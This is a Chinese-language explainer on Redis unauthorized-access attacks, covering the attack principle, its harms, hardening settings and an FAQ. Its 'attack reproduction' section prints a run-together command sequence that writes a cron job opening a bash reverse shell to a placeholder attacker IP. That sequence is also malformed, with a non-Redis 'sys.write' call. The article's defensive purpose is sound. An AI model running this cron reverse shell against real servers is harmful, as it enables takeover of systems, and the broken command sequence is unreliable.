Redis未授权访问攻击科普,防范数据泄露风险,确保数据库安全

文章导读
防范措施总结:1. 设置强密码,使用requirepass配置认证;2. 绑定IP地址,只允许指定IP访问,使用bind参数;3. 禁用危险命令,如CONFIG、FLUSHALL等,通过rename-command禁用;4. 使用防火墙限制端口6379访问;5. 部署在内部网络,避免公网暴露;6. 定期监控日志,及时发现异常;7. 使用Sentinel或Cluster模式增强安全;8. 开启TLS
📋 目录
  1. 一、Redis未授权访问攻击原理
  2. Redis未授权访问攻击利用过程
  3. 攻击复现
  4. Redis未授权访问漏洞危害
  5. 防护措施
  6. Redis未授权访问攻击案例
A A

防范措施总结:1. 设置强密码,使用requirepass配置认证;2. 绑定IP地址,只允许指定IP访问,使用bind参数;3. 禁用危险命令,如CONFIG、FLUSHALL等,通过rename-command禁用;4. 使用防火墙限制端口6379访问;5. 部署在内部网络,避免公网暴露;6. 定期监控日志,及时发现异常;7. 使用Sentinel或Cluster模式增强安全;8. 开启TLS加密传输数据。

一、Redis未授权访问攻击原理

Redis 默认情况下会监听在 6379 端口,且没有设置访问密码,攻击者只要知道目标服务器的 IP 地址,就可以不经过身份验证直接连接到 Redis 服务。攻击者通过一系列命令操作,读取 Redis 中的数据,写入恶意脚本,甚至在服务器上执行命令获取服务器的最高权限。

Redis未授权访问攻击利用过程

1.使用工具连接Redis服务;2.public key写入到~/.ssh/authorized_keys,实现免密登录;3.获取服务器的最高权限。攻击者可以通过Redis未授权访问漏洞在Redis服务器上写入ssh公钥,从而登录服务器并获取root权限。

攻击复现

redis-cli -h 目标IP 6379 keys * config set dir /var/spool/cron/ config set dbfilename root sys.write(0,"* * * * * bash -i >& /dev/tcp/攻击者IP/端口 0>&1\n") config set stop-writes-on-bgsave-error no save

Redis未授权访问漏洞危害

1.信息泄露:攻击者可直接访问redis,获取redis中的所有数据;2.服务器提权:攻击者可通过一系列命令操作,在服务器上写入ssh公钥,登录服务器;3.数据篡改:攻击者可直接操作redis,修改redis中的数据;4.webshell:攻击者可将恶意文件写入服务器Web目录,进而控制服务器。

Redis未授权访问攻击科普,防范数据泄露风险,确保数据库安全

防护措施

1、设置访问密码,在redis.conf中配置requirepass foobared,并重启redis服务;2、redis.conf中配置bind 127.0.0.1,让redis只允许本地访问;3、在防火墙中屏蔽外部对redis的访问;4、禁用危险命令,在redis.conf中配置rename-command CONFIG '',rename-command FLUSHALL '',rename-command FLUSHDB ''。

Redis未授权访问攻击案例

2019年,安全研究员在互联网上扫描发现数万台Redis实例暴露在公网,大量实例未设置密码。攻击者利用此漏洞窃取数据库,写入挖矿脚本,导致服务器性能下降,企业数据大量泄露。

FAQ
Q: Redis默认端口是什么?
A: 6379端口。
Q: 如何快速设置Redis密码?
A: 编辑redis.conf,添加requirepass yourpassword,然后重启服务。
Q: 未授权访问能做什么?
A: 读写数据、写入公钥提权、执行命令。
Q: 公网Redis怎么保护?
A: 绑定本地IP、防火墙封端口、用VPN访问。